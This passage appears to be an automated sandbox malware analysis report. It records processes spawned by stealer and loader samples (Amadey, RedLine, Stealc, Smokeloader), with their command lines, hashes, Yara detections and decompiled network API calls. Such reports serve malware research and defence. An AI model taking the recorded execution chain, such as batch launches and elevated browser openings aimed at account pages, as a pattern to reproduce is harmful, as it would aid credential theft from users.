Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000003.2059650940.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	04:13:06
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1000002001\cda9e1cbbc.exe"
Imagebase:	0x400000
File size:	256'512 bytes
MD5 hash:	278D770F363DA10C7F7EB1A9C653CCF0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000013.00000002.2541855344.00000000025ED000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000013.00000002.2548613207.00000000040B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 46%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	04:13:09
Start date:	26/07/2024
Path:	C:\Users\user\1000003002\e0dbbf79bf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\1000003002\e0dbbf79bf.exe"
Imagebase:	0x400000
File size:	91'648 bytes
MD5 hash:	CF96C7B65A488315A06387268BE0014C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Babadeda, Description: Yara detected Babadeda, Source: C:\Users\user\1000003002\e0dbbf79bf.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	04:13:09
Start date:	26/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\738B.tmp\738C.tmp\738D.bat C:\Users\user\1000003002\e0dbbf79bf.exe"
Imagebase:	0x7ff7c9d50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:13:09
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	04:13:09
Start date:	26/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	04:13:09
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:13:09
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	04:13:10
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	04:13:10
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	04:13:10
Start date:	26/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1924,i,8622372328878266711,8392942459092133944,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	04:13:11
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2244 --field-trial-handle=2156,i,341108890584334873,10938886739958985081,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	04:13:11
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.youtube.com/account
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	04:13:12
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2728 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	04:13:16
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a97c0989-9dbf-48c2-9f5d-758311f95aef} 1180 "\\.\pipe\gecko-crash-server-pipe.1180" 1f3ef56af10 socket
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	04:13:17
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1000002001\cda9e1cbbc.exe"
Imagebase:	0x400000
File size:	256'512 bytes
MD5 hash:	278D770F363DA10C7F7EB1A9C653CCF0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000025.00000002.2537949533.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000025.00000002.2534257510.00000000025D1000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.2534669785.00000000025EA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	04:13:19
Start date:	26/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=1924,i,8622372328878266711,8392942459092133944,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	04:13:21
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4488 -parentBuildID 20230927232528 -prefsHandle 1068 -prefMapHandle 3468 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {fbe57e93-4224-4c4c-a56e-574ee6529207} 1180 "\\.\pipe\gecko-crash-server-pipe.1180" 1f401a2df10 rdd
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	04:13:23
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7036 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	04:13:23
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7220 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	04:13:24
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7936 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	04:13:26
Start date:	26/07/2024
Path:	C:\Users\user\1000003002\e0dbbf79bf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\1000003002\e0dbbf79bf.exe"
Imagebase:	0x400000
File size:	91'648 bytes
MD5 hash:	CF96C7B65A488315A06387268BE0014C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	04:13:27
Start date:	26/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\B8C2.tmp\B8C3.tmp\B8F3.bat C:\Users\user\1000003002\e0dbbf79bf.exe"
Imagebase:	0x7ff7c9d50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	04:13:27
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	04:13:27
Start date:	26/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	04:13:27
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	04:13:27
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 04C40D4F Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1323461432.0000000004C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c40000_JGKjBsQrMc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7800474703442849b51760048bd7301cd17b430565c1d1a40be3117b178babb
Instruction ID: 70713408381efa97ceb4c0bd4130cd3a55bea752b2ac3e2b6225b6eeefcc89bc
Opcode Fuzzy Hash: d7800474703442849b51760048bd7301cd17b430565c1d1a40be3117b178babb
Instruction Fuzzy Hash: B0F0FCDB188010BDB14195937714EF7672FE6D77703348816F942D2543F1891A5D6571

Function 04C40D0C Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1323461432.0000000004C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c40000_JGKjBsQrMc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 366c598096a234aec823f9301978bb4029be538fb72706435583fc5fda257b26
Instruction ID: ea8af9dca68549f122cc038226d5fa28ae85788bdcfeda036faa74445540eead
Opcode Fuzzy Hash: 366c598096a234aec823f9301978bb4029be538fb72706435583fc5fda257b26
Instruction Fuzzy Hash: 70019E932880419EDB46466363506B57F66AFE623437C0457E241CD143E509729EB351

Analysis Process: explorti.exePID: 7840, Parent PID: 932COMMON

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9%
Total number of Nodes:	1981
Total number of Limit Nodes:	42

Executed Functions

Function 00EABD60 Relevance: 19.6, APIs: 5, Strings: 6, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00EF8D68,00000000,00000000,00000000,00000000), ref: 00EABDED
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00EABE10
HttpOpenRequestA.WININET(?,00000000), ref: 00EABE5B
HttpSendRequestA.WININET(?,00000000), ref: 00EABF1B
InternetReadFile.WININET(?,?,000003FF,?), ref: 00EABFCD
InternetCloseHandle.WININET(?), ref: 00EAC0A7
InternetCloseHandle.WININET(?), ref: 00EAC0AF
InternetCloseHandle.WININET(?), ref: 00EAC0B7

Strings

stoi argument out of range, xrefs: 00EAE3FA
invalid stoi argument, xrefs: 00EAE404
PoPn, xrefs: 00EAD516
6JLUcBRYEz9=, xrefs: 00EAC385
6JLUcxtnEx==, xrefs: 00EAC2EB, 00EAC543
PG3NVu==, xrefs: 00EABE33

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
String ID: 6JLUcBRYEz9=$6JLUcxtnEx==$PG3NVu==$PoPn$invalid stoi argument$stoi argument out of range
API String ID: 688256393-884042532
Opcode ID: fc1e91e901b8da50072a7e5c5d2f798dcd86d07ba68457160b71538ad67b6910
Instruction ID: ef4d9025a62cf80b1844a59431d566212b73c8f13e947a18cdeb2e1c0902b55a
Opcode Fuzzy Hash: fc1e91e901b8da50072a7e5c5d2f798dcd86d07ba68457160b71538ad67b6910
Instruction Fuzzy Hash: F3B1EAB16001189BDB24CF28CC85BEE7BB5EF46304F505599F508AB2D2D775AAC0CFA5

Function 00EAE440 Relevance: 14.8, Strings: 11, Instructions: 1000
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

KS==, xrefs: 00EAE4A5
UFy=, xrefs: 00EAF62D, 00EAF90A
UVu=, xrefs: 00EB04DA
EpPoaRV1, xrefs: 00EAE47F
SC==, xrefs: 00EAEA1F, 00EAEC66
0657d1, xrefs: 00EAFA9E
KIG+, xrefs: 00EAE734
111, xrefs: 00EAF6B0
246122658369, xrefs: 00EAF647, 00EAF924, 00EB04F7, 00EB08AA
#, xrefs: 00EB0534
UVy=, xrefs: 00EB088D

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: #$0657d1$111$246122658369$EpPoaRV1$KIG+$KS==$SC==$UFy=$UVu=$UVy=
API String ID: 0-3836280467
Opcode ID: 578f7e108b8961ba866bce2f2af8fb7bb5c2aa48c31b03883b32a6f7448f25dc
Instruction ID: 8187edeee2e24f38aed437f411c06a9471dc68b00b867846d24cf09b1e400fad
Opcode Fuzzy Hash: 578f7e108b8961ba866bce2f2af8fb7bb5c2aa48c31b03883b32a6f7448f25dc
Instruction Fuzzy Hash: DC82D3709042489BEF18EF68C9497DE7FB6EB46304F509189E8057B3C2D7759A88CBD2

Function 00EBD312 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00EA247E

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 4c27175bfc7f2cb05fe88dc9022a4aefe05718794a4f05370dadc1bcc7cc57f8
Instruction ID: a26db13365b8fbb029b51c3a9d08c07312a9da7c4d5ddebf3ee30a86bbaf167b
Opcode Fuzzy Hash: 4c27175bfc7f2cb05fe88dc9022a4aefe05718794a4f05370dadc1bcc7cc57f8
Instruction Fuzzy Hash: D85189B1E0460A8FDB15CF68DC857AABBF0FB08314F24966AD444FB250E7799940DF60

Function 00EB3550 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00EB425F

Part of subcall function 00EB7870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00EB795C
Part of subcall function 00EB7870: __Cnd_destroy_in_situ.LIBCPMT ref: 00EB7968
Part of subcall function 00EB7870: __Mtx_destroy_in_situ.LIBCPMT ref: 00EB7971

Strings

9pG0, xrefs: 00EB54DB
invalid stoi argument, xrefs: 00EB2DE9, 00EB2DF8, 00EB425A, 00EB4E9D
TZC0, xrefs: 00EB541E
84K0, xrefs: 00EB5497
KIK+, xrefs: 00EB47BD, 00EB48EC, 00EB4ADC, 00EB4C0B
KIG+, xrefs: 00EB4776, 00EB47ED, 00EB4A95, 00EB4B0C
Dy==, xrefs: 00EB369E, 00EB4D2D
8IG0, xrefs: 00EB53F5
9YY0, xrefs: 00EB53CC
", xrefs: 00EB3E99
5120, xrefs: 00EB3ABF, 00EB3BAA
UZbf, xrefs: 00EB3AEE
246122658369, xrefs: 00EB1EA5, 00EB27EE, 00EB2A43, 00EB2AB0, 00EB2E88, 00EB3373, 00EB33D4, 00EB4F3A, 00EB4F4D, 00EB4F8F, 00EB4F99, 00EB54F4
stoi argument out of range, xrefs: 00EB2E02, 00EB4269, 00EB4EAC
75G0, xrefs: 00EB5470
IEYUMK==, xrefs: 00EB54B9
T4Ve, xrefs: 00EB3DC0
8lU=, xrefs: 00EB6383
0657d1, xrefs: 00EB5489
7JS0, xrefs: 00EB5351
85K3cq==, xrefs: 00EB4712
FAml, xrefs: 00EB378F
Toe0, xrefs: 00EB5447
UIrm, xrefs: 00EB3BD9
UIU0, xrefs: 00EB53A3
7470, xrefs: 00EB531D
6YK0, xrefs: 00EB5502
TZS0, xrefs: 00EB537A

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
